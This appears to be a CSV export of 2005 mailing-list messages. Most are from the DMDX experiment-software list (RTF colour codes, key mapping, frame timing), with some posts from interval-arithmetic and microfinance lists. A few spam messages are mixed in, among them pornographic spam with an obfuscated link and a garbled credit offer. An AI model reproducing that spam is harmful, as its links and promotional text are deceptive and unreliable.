I tried - ""A B C"" but I get the whole string with the control sequence right back at me. - ""A"" ""B"" ""C"" but I get error message regarding multiple text segments in same item. - ""A /cf.. B /cf.. C"" but I get ""ABC"" in one uniform (default) color. - ""A"" /cf.. ""B"" /cf.. ""C"" gives the same multiple text segments error described above. I searched the list archives and couldn't find anything relevant. Hopefully someone here can help me out? Many thanks, -Yuval.",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 10 Aug 2005 21:34:01 -0700",[DMDX] Re: varying text color within the same word,"At 09:31 PM 8/10/2005 -0400, you wrote: >Dear DMDX power users, >I am trying to create an experiment in DMDX for the first time. I need >to change the text color within the same word. I can change the >default color for the entire text, but cannot control it for each >letter. I tried >- ""A B C"" but I get the whole string with the control >sequence right back at me. >- ""A"" ""B"" ""C"" but I get error message regarding >multiple text segments in same item. >- ""A /cf.. B /cf.. C"" but I get ""ABC"" in one uniform (default) color. >- ""A"" /cf.. ""B"" /cf.. ""C"" gives the same multiple text segments error >described above. > >I searched the list archives and couldn't find anything relevant. Change the color of the text in the item file. Like this: ""ABC"" /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There are times when truth is stranger than fiction and lunch time is one of them.",0,0 Yuval Marton ,DMDX@psy1.psych.arizona.edu,"Thu, 11 Aug 2005 01:38:18 -0400",[DMDX] Re: varying text color within the same word,"Jonathan, Thanks for your fast reply. Sorry to bother you again with such a seemingly simple issue, but applying your answer in quotation marks, I get the """" as part of the displayed string; preceding the inner quotation marks with a backslash gives an error: unknown (\\"") ; applying it without quotation marks altogether, I get the error ""unknown keyword "". I guess it is just a small syntax issue that I am still missing. Could I ask you to send me a code snippet? (If possible, as an attachment, because my mail reader showed your answer as HTML.. in violation of your ascii ribbon campaign...) Thanks again, -Yuval. On 8/11/05, j.c.f. wrote: > At 09:31 PM 8/10/2005 -0400, you wrote: > Dear DMDX power users, > I am trying to create an experiment in DMDX for the first time. I need > to change the text color within the same word. I can change the > default color for the entire text, but cannot control it for each > letter. I tried > - ""A B C"" but I get the whole string with the control > sequence right back at me. > - ""A"" ""B"" ""C"" but I get error message regarding > multiple text segments in same item. > - ""A /cf.. B /cf.. C"" but I get ""ABC"" in one uniform (default) color. > - ""A"" /cf.. ""B"" /cf.. ""C"" gives the same multiple text segments error > described above. > > I searched the list archives and couldn't find anything relevant. > Change the color of the text in the item file. Like this: > > ""ABC"" > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > There are times when truth is stranger than fiction and lunch time is > one of them. >",0,0 Mehetabel Pool ,DMDX@psy1.psych.arizona.edu,"Wed, 10 Aug 2005 17:49:26 -0700",Re: gegoa news,"De u ar Home O u wne z r , Your c n redi w t doesn't matter to us ! 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(dont know > what the UMA 1600GT means) Does anyone know if the 6000 range works. I > think it was Anna Woollams who said she was going to ordered one. I'd > really appreciate it if someone could let me know if it worked, > especially the UMA 1600GT version. A rather belated response to Keith's query: the Inspiron 6000 that I purchased appears to run the lastest versions of DMDX just fine so far, although I have not run any really display time critical experiments on this machine as yet. Also, my machine has rather an annoying low level buzz during wav file recording that I have not been able to eliminate, but this may be just an idiosyncratic problem (I still need to consult Dell regarding this issue). With respect to the UMA 1600GT suffix, I'm afraid I'm not much help in that department, although I can tell you that it refers at least partially to the particular type of Intel graphics chip used for that version of the laptop. Best wishes, Anna W. This Message is intended for the addressee named and may contain confidential information. If you are not the intended recipient, please delete it and notify the sender. Views expressed in this message are those of the individual sender and are not necessarily the views of The Macquarie Centre for Cognitive Science. ",0,0 Anna Woollams ,DMDX@psy1.psych.arizona.edu,"Thu, 11 Aug 2005 20:33:36 +1000",[DMDX] Re: varying text color within the same word,"Dear DMDXers, > Sorry to bother you again with such a seemingly simple issue, but > applying your answer in quotation marks, I get the """" as part > of the displayed string; preceding the inner quotation marks with a > backslash gives an error: unknown (\\"") ; applying it without quotation > marks altogether, I get the error ""unknown keyword "". I guess > it is just a small syntax issue that I am still missing. > Could I ask you to send me a code snippet? I recall having trouble with changing text colour in this fashion some time ago. I am ashamed to admit that I never really got to the bottom of the problem, but I did use the following syntax to get around it: +500 ""+"" / ""a ""/ ! "" b "" / ! "" c"" *; What this does is just tell DMDX to prepare the frame with ""a"" in one colour, hold that in memory, prepare ""b"" in another colour, hold that in memory, prepare ""c"" in yet another colour, and then display them all together. The main problem with adopting this solution is that it limits you to using only nonproportional fonts (e.g. Courier), otherwise your different letters will overlap at display. I'm sure that Jonathan can offer a far more elegant solution than the one I have outlined here, but I thought I would just mention this alternative in case it might prove useful. Best wishes, Anna W. This Message is intended for the addressee named and may contain confidential information. If you are not the intended recipient, please delete it and notify the sender. Views expressed in this message are those of the individual sender and are not necessarily the views of The Macquarie Centre for Cognitive Science.",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 11 Aug 2005 09:17:11 -0700",[DMDX] Re: varying text color within the same word,"At 01:38 AM 8/11/2005 -0400, you wrote: >Jonathan, >Thanks for your fast reply. >Sorry to bother you again with such a seemingly simple issue, but >applying your answer in quotation marks, I get the """" as part >of the displayed string; preceding the inner quotation marks with a >backslash gives an error: unknown (\\"") ; applying it without quotation >marks altogether, I get the error ""unknown keyword "". I guess >it is just a small syntax issue that I am still missing. >Could I ask you to send me a code snippet? You mean the raw .RTF code? I use Word and it's coloring, highlight a letter and choose it's color. I didn't ever think anyone would assemble an .RTF by hand. >(If possible, as an >attachment, because my mail reader showed your answer as HTML.. in >violation of your ascii ribbon campaign...) Sorry, but if you want an example it had to be HTML. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There are times when truth is stranger than fiction and lunch time is one of them.",0,0 """Kreinovich, Vladik"" ",reliable_computing@interval.louisiana.edu,"Thu, 11 Aug 2005 17:34:09 -0600",FW: Interval arithmetic library in BOOST ,"Dear Friends, I have just learned from Sergey Shary an imporratnt info: ... there is an interval C++ library implemented within the popular BOOST project http://www.boost.org. Look at ""Libraries"", then ""Math and numerics"", then ""Intervals"", or just http://www.boost.org/libs/numeric/interval/doc/interval.htm It is one of the most referenced software project among C++ community (an analogue of NETLIB in a sense). Sergey P. Shary Many thanks to Sergey for poiinting out! ",0,1 Frank Sherman ,DMDX@psy1.psych.arizona.edu,"Fri, 12 Aug 2005 23:01:02 -0400",Young goluptious Ladies Pornn pretty Videoo!," Best cummshots on best glorious Girls. http://bigwowgame.info/fpxs.htm?iSPhfd.fX,hj R_E_M_0_\\//_E http://bigwowgame.info ",1,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 12 Aug 2005 07:46:53 -0700",[DMDX] Fwd: Can't access DMDX tutorials,">X-Sender: jforster@inbox.email.arizona.edu >X-Mailer: QUALCOMM Windows Eudora Version 5.1 >Date: Fri, 12 Aug 2005 07:45:52 -0700 >To: ""j.c.f."" >From: Joachim Stoeber (by way of ""Jonathan C. >Forster"" ) >Subject: Can't access DMDX tutorials >X-Virus-Scanned: amavisd-new at email.arizona.edu > > >Hi Jonathan, >sorry to bother. >I am planning to run some experiments this autumn, and a friend of mine >recommended DMDC. >Looking at your website (http://www.u.arizona.edu/~jforster/dmdx.htm), I >cannot access Mike Ford's or Matt Davis's tutorial. >Could you help. >Thanks a lot in advance! >Cheers, -- Joachim >___________________ > >Dr Joachim Stoeber >Lecturer in Psychology >Department of Psychology >University of Kent >Canterbury, Kent CT2 7NP >United Kingdom >Tel: +44 (0)1227 82-4196 >Fax: +44 (0)1227 82-7030 >E-Mail: J.Stoeber@kent.ac.uk >Web: www.kent.ac.uk/psychology/department/people/stoeberj/ /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ A hypothetical paradox: What would happen in a battle between an Enterprise security team, who always get killed soon after appearing, and a squad of Imperial Stormtroopers, who can't hit the broad side of a planet? - Tom Galloway",0,1 Zenon Kulpa ,"reliable_computing@interval.louisiana.edu, interval@cs.utep.edu","Fri, 12 Aug 2005 15:11:41 +0200",Tolerable/controllable solution applications,"Dear Intervalers, I am looking for some simple examples of practical problems involving control (controllable) and tolerance (tolerable) solution sets of interval linear systems of equations. I would greatly appreciate obtaining references to appropriate papers, or possibly descriptions of the examples. -- Zenon Kulpa ",0,0 """vanessa.ward"" ",vanessa.ward@undp.org,"Fri, 12 Aug 2005 09:14:54 -0400",The Fifteenth Issue of Microfinance Matters: Data - Available Now,"The Fifteenth Issue of Microfinance Matters, an on-line publication of the International Year of Microcredit and UNCDF, is available now at: http://www.uncdf.org/english//microfinance/newsletter/pages/2005_08/inde x.php In Focus: Information Asymmetries – Do We Have Any Good Data on Microfinance? * Featured Guest: Mr. Stanley Fischer, Governor, Bank of Israel, and Chair of the Advisors Group for the International Year of Microcredit Q&A on the Importance of Collecting Data on Microfinance * International Year of Microcredit Advisors Group Urges G8 to Support the Development of Indicators of Access to Finance: G8 Leaders Cite Importance of Microfinance, and Specifically of Data * International Year of Microcredit Initiates Cooperation to Develop Core and Headline Indicators: World Bank, DFID and FinMark Trust Team Up to Measure Access to Finance By the World Bank/DFID/FinMark Trust Working Group on Developing Core Indicators for Access to Finance * Using the ‘Access Diamond’ to Measure Financial Product Usage: DFID to Support Roll-out of FinScope Surveys across Africa By Karen Ellis, Economic Advisor, Financial Sector Team, DFID * The Experience of the BCEAO in Collecting and Processing Data on Microfinance: Captures Precise View of the Sector in the West African Monetary Union By the BCEAO * WSBI’s Contribution to the Collection of Data on Accessible Finance: Telling the Supply Side of the Story By Angela Arévalo, Adviser, World Savings Banks Institute * Collecting Meaningful Data in Poor Communities: Lessons from Some Private Sector Initiatives By Maria Flores Letelier, Senior Consultant and Fellow, Cheskin * Understanding Pitfalls in Measuring the Impact of Microfinance: An Interview with Jonathan Morduch, Associate Professor of Public Policy and Economics, Robert F. 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From: Stefan Ratschan [mailto:stefan.ratschan@mpi-sb.mpg.de] ... * Rsolver: solves quantified inequality constraints (http://rsolver.sourceforge.net) * smathlib: a library of C routines for interval arithmetic and constraint narrowing http://interval.sourceforge.net/interval/prolog/clip/clip/smath/README.html Thanks, Stefan Ratschan ",0,1 Mohammad Amin Khoshlessan ,DMDX@psy1.psych.arizona.edu,"Fri, 12 Aug 2005 21:34:14 +0430",[DMDX] Why do I get minus signs?,"hi I'm new in the neighborhood. The reason I am writing this is because I've got a problem with the results I've obtained. Our test is a sentence picture matching experiment in which the subjects should decide whether the sentence on the screen describes the preceding picture or not. S/he should answer by pressing either of the shift keys. In one version, left shift stands for no, and in the other one, right shift means no. But after collecting the data I figured out that for all the trials in the latter version I've got no. ( I measure reaction time so all the reaction times I've got have a minus sign) This is the heading of our .rtf : < dbc 255255255> And this is one of the trials: - +1132 ""*""/ ""1kpb"" / ""jn"" / * !""سه خط بر دو دايره مماس هستند"" ; The sentence is in persian. "" jn"" stands for the picture file with a yes written in the left side of the screen and a no in the right side. But all the reaction times I obtained have minus signs. It should mean that everybody always said no. But it doesnt. I checked it by running the program and pressing just left shift. And again all the values were negative. like these: 1620301 -642.79 1620191 -1257.13 1131 -2409.57 2131 -1679.34 2122 -2423.30 5131 -1953.69 2124 -1777.01 6122 -2212.90 The first number in each row is the item number. I'm positive that something ought to be wrong with the design but I dont know what. I would be grateful if anybody could help me solve this problem. thanks in advance ------------------------------------------------------------------------- Mohammad Amin Khoshlessan School of Cognitive Sciences Institute for Studies in Theoretical Physics and Mathematics (IPM) Niavaran Po.Box:19395-5746,Tehran,Iran",0,0 SEIBEL Hans Dieter ,Development Finance ,"Fri, 12 Aug 2005 16:47:01 +0200",What Matters in Rural and Microfinance," Please check my website for Working Paper 2005-1 on WHAT MATTERS IN RURAL AND MICROFINANCE: http://www.uni-koeln.de/ew-fak/aef/working_papers.htm Prof. Dr. Hans Dieter Seibel Development Research Center University of Cologne Bernhard-Feilchenfeldstr. 11 50969 Koeln, Germany Tel. (+49) 221 470.4078 Fax (+49)221 470.5195 http://www.uni-koeln.de/ew-fak/aef/ ",0,1 Yuval Marton ,DMDX@psy1.psych.arizona.edu,"Fri, 12 Aug 2005 15:09:13 -0400",[DMDX] Re: varying text color within the same word,"Jonathan, I hope you didn't lose sleep over the thought that I was assembling the RTF file by hand. I didn't. I used wordpad, as was recommended in the tutorial. I highlighted each letter and then chose a color. Then I tried to tweak the file in some variations (see below) to get what i wanted. But alas, to no avail.. I am sure I am just missing a small technical issue, and I hope you can show me how to do it right, with a small similar file (or corrections over my own). Here's my RTF file contents: {\\rtf1\\ansi\\ansicpg1252\\deff0\\deflang1033{\\fonttbl{\\f0\\fswiss\\fcharset0 Arial;}} {\\colortbl ;\\red128\\green128\\blue128;\\red192\\green192\\blue192;\\red0\\green0\\blue0;} {\\*\\generator Msftedit 5.41.15.1507;} \\viewkind4\\uc1\\pard\\cf1\\b\\f0\\fs24 \\par 0 ""Press SPACEBAR to start""; 0 ""A{\\cf2 B}{\\cf3 C}{\\cf1 D}""\\par; 0 ""A\\cf2 B\\cf3 C\\cf1 D""\\par; 0 ""ABO D"" \\par; 0 ""A{B}{C} {D}"" \\par; 0 ""--The End--""; \\cf0\\b0 \\fs20\\par } The result is either uni-color (the default), or showing the tags as text. :-( Not sure what you meant by the example has to be HTML. But I'll take any example if it works! Thanks again, -Yuval. PS: Anna, thanks for your reply as well! I hope I can do with a simple text instruction, but if not, your idea is next in line... :-) On 8/11/05, j.c.f. wrote: > At 01:38 AM 8/11/2005 -0400, you wrote: > >Jonathan, > >Thanks for your fast reply. > >Sorry to bother you again with such a seemingly simple issue, but > >applying your answer in quotation marks, I get the """" as part > >of the displayed string; preceding the inner quotation marks with a > >backslash gives an error: unknown (\\"") ; applying it without quotation > >marks altogether, I get the error ""unknown keyword "". I guess > >it is just a small syntax issue that I am still missing. > >Could I ask you to send me a code snippet? > > You mean the raw .RTF code? I use Word and it's coloring, highlight a > letter and choose it's color. I didn't ever think anyone would assemble an > .RTF by hand. > > >(If possible, as an > >attachment, because my mail reader showed your answer as HTML.. in > >violation of your ascii ribbon campaign...) > > Sorry, but if you want an example it had to be HTML. > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > There are times when truth is stranger than fiction and lunch time is > one of them. > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== >",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 12 Aug 2005 13:26:35 -0700",[DMDX] Re: varying text color within the same word,"Have a look at the FEATURES.RTF in the demo, it has multicolor frames. http://www.u.arizona.edu/~jforster/dmdx/demos.zip Perhaps Wordpad has oddly formed coloring as your segment sure doesn't work for me. I'll have to look at it, use Word if you've got it in the interim. Note that HTML is not going to work, the B stuff was just a WYSIWYG demo. At 03:09 PM 8/12/2005 -0400, you wrote: >Jonathan, >I hope you didn't lose sleep over the thought that I was assembling >the RTF file by hand. I didn't. I used wordpad, as was recommended in >the tutorial. I highlighted each letter and then chose a color. Then I >tried to tweak the file in some variations (see below) to get what i >wanted. But alas, to no avail.. I am sure I am just missing a small >technical issue, and I hope you can show me how to do it right, with a >small similar file (or corrections over my own). Here's my RTF file >contents: > >{\\rtf1\\ansi\\ansicpg1252\\deff0\\deflang1033{\\fonttbl{\\f0\\fswiss\\fcharset0 >Arial;}} >{\\colortbl >;\\red128\\green128\\blue128;\\red192\\green192\\blue192;\\red0\\green0\\blue0;} >{\\*\\generator Msftedit 5.41.15.1507;} > 640,400,400,16,0> >\\viewkind4\\uc1\\pard\\cf1\\b\\f0\\fs24 > >\\par 0 ""Press SPACEBAR to start""; > >0 ""A{\\cf2 B}{\\cf3 C}{\\cf1 D}""\\par; > >0 ""A\\cf2 B\\cf3 C\\cf1 D""\\par; > >0 ""ABO >D"" \\par; > >0 ""A{B}{color=#FFFFFF>C} >{D}"" \\par; > >0 ""--The End--""; > >\\cf0\\b0 >\\fs20\\par >} > > >The result is either uni-color (the default), or showing the tags as text. >:-( > >Not sure what you meant by the example has to be HTML. But I'll take >any example if it works! > >Thanks again, >-Yuval. > >PS: Anna, thanks for your reply as well! I hope I can do with a simple >text instruction, but if not, your idea is next in line... :-) > > > > >On 8/11/05, j.c.f. wrote: > > At 01:38 AM 8/11/2005 -0400, you wrote: > > >Jonathan, > > >Thanks for your fast reply. > > >Sorry to bother you again with such a seemingly simple issue, but > > >applying your answer in quotation marks, I get the """" as part > > >of the displayed string; preceding the inner quotation marks with a > > >backslash gives an error: unknown (\\"") ; applying it without quotation > > >marks altogether, I get the error ""unknown keyword "". I guess > > >it is just a small syntax issue that I am still missing. > > >Could I ask you to send me a code snippet? > > > > You mean the raw .RTF code? I use Word and it's coloring, highlight a > > letter and choose it's color. I didn't ever think anyone would assemble an > > .RTF by hand. > > > > >(If possible, as an > > >attachment, because my mail reader showed your answer as HTML.. in > > >violation of your ascii ribbon campaign...) > > > > Sorry, but if you want an example it had to be HTML. > > > > /""\\ > > -jonathan (j.c.f.) \\ / > > X > > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > > > There are times when truth is stranger than fiction and lunch time is > > one of them. > > > > > > ==================================================================== > > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > > 'unsubscribe' by itself with no quotes in the body of the email > > to be removed from the list. The list archive is available here: > > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > > ==================================================================== > > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Interesting but useless facts #12. Nobody knows why ""Squid"" are called that.",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 12 Aug 2005 13:28:51 -0700",[DMDX] Re: Why do I get minus signs?,"You probably want to un-map the standard mapping before mapping your new ones with . Like this: < dbc 255255255> At 09:34 PM 8/12/2005 +0430, you wrote: > >hi >I'm new in the neighborhood. The reason I am writing this is because I've >got a problem with the results I've obtained. >Our test is a sentence picture matching experiment in which the subjects >should decide whether the sentence on the screen describes the preceding >picture or not. S/he should answer by pressing either of the shift keys. >In one version, left shift stands for no, and in the other one, right shift >means no. >But after collecting the data I figured out that for all the trials in the >latter version I've got no. ( I measure reaction time so all the reaction >times I've got have a minus sign) >This is the heading of our .rtf : > > 800,600,600,16,0> shift> < dbc 255255255> > > >And this is one of the trials: > >- >+1132 ""*""/ ""1kpb"" / ""jn"" / * >!""سه خط بر دو >دايره مماس >هستند"" ; > > > >The sentence is in persian. "" jn"" stands for the picture file with a yes >written in the left side of the screen and a no in the right side. >But all the reaction times I obtained have minus signs. It should mean that >everybody always said no. But it doesnt. I checked it by running the program >and pressing just left shift. And again all the values were negative. like >these: > >1620301 -642.79 >1620191 -1257.13 >1131 -2409.57 >2131 -1679.34 >2122 -2423.30 >5131 -1953.69 >2124 -1777.01 >6122 -2212.90 > > >The first number in each row is the item number. >I'm positive that something ought to be wrong with the design but I dont >know what. >I would be grateful if anybody could help me solve this problem. >thanks in advance > >------------------------------------------------------------------------- >Mohammad Amin Khoshlessan >School of Cognitive Sciences >Institute for Studies in Theoretical Physics and Mathematics (IPM) >Niavaran Po.Box:19395-5746,Tehran,Iran > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Interesting but useless facts #12. Nobody knows why ""Squid"" are called that.",0,1 Mohammad Amin Khoshlessan ,DMDX@psy1.psych.arizona.edu,"Sat, 13 Aug 2005 04:15:22 +0430",[DMDX] Re: Why do I get minus signs?,"It worked. Thanks a lot. Amin -----Original Message----- From: ""Jonathan C. Forster"" To: DMDX@psy1.psych.arizona.edu Date: Fri, 12 Aug 2005 13:28:51 -0700 Subject: [DMDX] Re: Why do I get minus signs? > > You probably want to un-map the standard mapping before mapping your > new > ones with . Like this: > > 800,600,600,16,0> > +right > shift> < dbc 255255255> > > > At 09:34 PM 8/12/2005 +0430, you wrote: > > > >hi > >I'm new in the neighborhood. The reason I am writing this is because > I've > >got a problem with the results I've obtained. > >Our test is a sentence picture matching experiment in which the > subjects > >should decide whether the sentence on the screen describes the > preceding > >picture or not. S/he should answer by pressing either of the shift > keys. > >In one version, left shift stands for no, and in the other one, right > shift > >means no. > >But after collecting the data I figured out that for all the trials in > the > >latter version I've got no. ( I measure reaction time so all the > reaction > >times I've got have a minus sign) > >This is the heading of our .rtf : > > > > >800,600,600,16,0> +right > >shift> < dbc 255255255> > > > > > >And this is one of the trials: > > > >- > >+1132 ""*""/ ""1kpb"" / ""jn"" / * > >!""سه خط بر دو > >دايره مماس > >هستند"" ; > > > > > > > >The sentence is in persian. "" jn"" stands for the picture file with a > yes > >written in the left side of the screen and a no in the right side. > >But all the reaction times I obtained have minus signs. It should mean > that > >everybody always said no. But it doesnt. I checked it by running the > program > >and pressing just left shift. And again all the values were negative. > like > >these: > > > >1620301 -642.79 > >1620191 -1257.13 > >1131 -2409.57 > >2131 -1679.34 > >2122 -2423.30 > >5131 -1953.69 > >2124 -1777.01 > >6122 -2212.90 > > > > > >The first number in each row is the item number. > >I'm positive that something ought to be wrong with the design but I > dont > >know what. > >I would be grateful if anybody could help me solve this problem. > >thanks in advance > > > >---------------------------------------------------------------------- > --- > >Mohammad Amin Khoshlessan > >School of Cognitive Sciences > >Institute for Studies in Theoretical Physics and Mathematics (IPM) > >Niavaran Po.Box:19395-5746,Tehran,Iran > > > > > >==================================================================== > > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > > 'unsubscribe' by itself with no quotes in the body of the email > > to be removed from the list. The list archive is available here: > > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > >==================================================================== > > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > Interesting but useless facts #12. > Nobody knows why ""Squid"" are called that. > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ====================================================================",0,1 Yasuko ,DMDX@psy1.psych.arizona.edu,"Sat, 13 Aug 2005 04:17:12 +0000",Launch your future business with an impressive logo,"You are about to launch a new business? You intend to change you corporate identity in order to impress your target audience? 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To send a message to this mailing list please type in interval@listserv.utep.edu The web page for users of the mailing list is: http://listserv.utep.edu/mailman/listinfo/interval Vladik ",0,1 Yuval Marton ,DMDX@psy1.psych.arizona.edu,"Mon, 15 Aug 2005 02:56:14 -0400",[DMDX] Re: varying text color within the same word,"Jonathan, Anna, and all, Just in case I haven't written I solved the problem, here it is (again?): the problem seems to have been in the header line (see below). When I replaced it with a header line I took from another file, things started working. Now I can use WordPad, highlight, select color, font, etc., as you suggested, and actually see the same (WYSIWYG) at runtime.. Thanks for all the advice! -Yuval. On 8/12/05, Jonathan C. Forster wrote: > > Have a look at the FEATURES.RTF in the demo, it has multicolor frames. > > http://www.u.arizona.edu/~jforster/dmdx/demos.zip > > Perhaps Wordpad has oddly formed coloring as your segment sure doesn't work > for me. I'll have to look at it, use Word if you've got it in the interim. > > Note that HTML is not going to work, the B stuff > was just a WYSIWYG demo. > > At 03:09 PM 8/12/2005 -0400, you wrote: > >Jonathan, > >I hope you didn't lose sleep over the thought that I was assembling > >the RTF file by hand. I didn't. I used wordpad, as was recommended in > >the tutorial. I highlighted each letter and then chose a color. Then I > >tried to tweak the file in some variations (see below) to get what i > >wanted. But alas, to no avail.. I am sure I am just missing a small > >technical issue, and I hope you can show me how to do it right, with a > >small similar file (or corrections over my own). Here's my RTF file > >contents: > > > >{\\rtf1\\ansi\\ansicpg1252\\deff0\\deflang1033{\\fonttbl{\\f0\\fswiss\\fcharset0 > >Arial;}} > >{\\colortbl > >;\\red128\\green128\\blue128;\\red192\\green192\\blue192;\\red0\\green0\\blue0;} > >{\\*\\generator Msftedit 5.41.15.1507;} > > >640,400,400,16,0> > >\\viewkind4\\uc1\\pard\\cf1\\b\\f0\\fs24 > > > >\\par 0 ""Press SPACEBAR to start""; > > > >0 ""A{\\cf2 B}{\\cf3 C}{\\cf1 D}""\\par; > > > >0 ""A\\cf2 B\\cf3 C\\cf1 D""\\par; > > > >0 ""ABO > >D"" \\par; > > > >0 ""A{B}{ >color=#FFFFFF>C} > >{D}"" \\par; > > > >0 ""--The End--""; > > > >\\cf0\\b0 > >\\fs20\\par > >} > > > > > >The result is either uni-color (the default), or showing the tags as text. > >:-( > > > >Not sure what you meant by the example has to be HTML. But I'll take > >any example if it works! > > > >Thanks again, > >-Yuval. > > > >PS: Anna, thanks for your reply as well! I hope I can do with a simple > >text instruction, but if not, your idea is next in line... :-) > > > > > > > > > >On 8/11/05, j.c.f. wrote: > > > At 01:38 AM 8/11/2005 -0400, you wrote: > > > >Jonathan, > > > >Thanks for your fast reply. > > > >Sorry to bother you again with such a seemingly simple issue, but > > > >applying your answer in quotation marks, I get the """" as part > > > >of the displayed string; preceding the inner quotation marks with a > > > >backslash gives an error: unknown (\\"") ; applying it without quotation > > > >marks altogether, I get the error ""unknown keyword "". I guess > > > >it is just a small syntax issue that I am still missing. > > > >Could I ask you to send me a code snippet? > > > > > > You mean the raw .RTF code? I use Word and it's coloring, highlight a > > > letter and choose it's color. I didn't ever think anyone would assemble an > > > .RTF by hand. > > > > > > >(If possible, as an > > > >attachment, because my mail reader showed your answer as HTML.. in > > > >violation of your ascii ribbon campaign...) > > > > > > Sorry, but if you want an example it had to be HTML. > > > > > > /""\\ > > > -jonathan (j.c.f.) \\ / > > > X > > > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > > > > > There are times when truth is stranger than fiction and lunch time is > > > one of them. > > > > > > > > > ==================================================================== > > > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > > > 'unsubscribe' by itself with no quotes in the body of the email > > > to be removed from the list. The list archive is available here: > > > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > > > ==================================================================== > > > > > > >==================================================================== > > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > > 'unsubscribe' by itself with no quotes in the body of the email > > to be removed from the list. The list archive is available here: > > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > >==================================================================== > > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > Interesting but useless facts #12. > Nobody knows why ""Squid"" are called that. > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== >",0,1 Yuval Marton ,DMDX@psy1.psych.arizona.edu,"Mon, 15 Aug 2005 03:11:12 -0400","[DMDX] X, Y, XY do not work with counters?","I am trying to display a word at a random location on the screen. For that, I set c1 and c2 for a random value. e.g., < set c1 = 170 + 300 * random(2) > . I display the item with ""item"" - but it always displays it at 0,0. If I use instead hard wired numbers (e.g., ), it works. Am I doing something wrong? what would be the right way to do it, or the least painful workaround..? Thanks. -Yuval.",0,0 Andy ,DMDX@psy1.psych.arizona.edu,"Mon, 15 Aug 2005 11:11:38 +0100",[DMDX] Displaying the last frame for 3s or until response,"Dear all, I've been trying to figure out for the last few hours how to display a picture for the last frame of trial for 3 seconds but also to end that frame (hide the picture) if the participant responds before the 3 seconds is up. I bet I've overlooked something really simple here! Here's an example of the code I've been working with: 0 ""Please press SPACE to start""; =1 ""CROSS"" / * ""ALAF263_f2m_btm"" ; =2 ""CROSS"" / * ""ALAF263_f2m_top"" ; Any advice would be greatly appreciated. Thanks, Andy.",0,0 Matthew Finkbeiner ,DMDX@psy1.psych.arizona.edu,"Mon, 15 Aug 2005 07:12:09 -0400",[DMDX] RE: Displaying the last frame for 3s or until response,"I think all you need to do is add another (blank) frame after the picture, like this: =1 ""CROSS"" / * ""ALAF263_f2m_btm"" / ; Also, if you want three seconds, you probably want in the header hope that helps Matthew",0,0 Andy ,DMDX@psy1.psych.arizona.edu,"Mon, 15 Aug 2005 13:40:37 +0100",[DMDX] RE: RE: Displaying the last frame for 3s or until response,"Sorry, I don't think I made my problem that clear. I'm designing an experiment where the participant sees a picture and must make a response to it. The picture will either remain on the screen for 3 seconds, or will be removed from the screen if a response is made before those 3 seconds are up. There is no time limit however for the participant to respond to a given picture (hence ) once that picture is removed from view. Unfortunately adding a blank frame to the end of the item will ensure that the picture lasts for the entire duration to which it was set (in my case, the default frame duration). If the participant responds before this time is up, the picture will not immediately disappear as needed. I've played with the abort function, (note the 1000ms for displaying the ""CROSS"" bmp), and am now stuck for ideas! The only way I can think of around this problem is to create static video files of my pictures that last for 3 seconds and use this in conjunction with the abort function. Thanks, Andy. -----Original Message----- From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu] On Behalf Of Matthew Finkbeiner Sent: 15 August 2005 12:12 To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] RE: Displaying the last frame for 3s or until response I think all you need to do is add another (blank) frame after the picture, like this: =1 ""CROSS"" / * ""ALAF263_f2m_btm"" / ; Also, if you 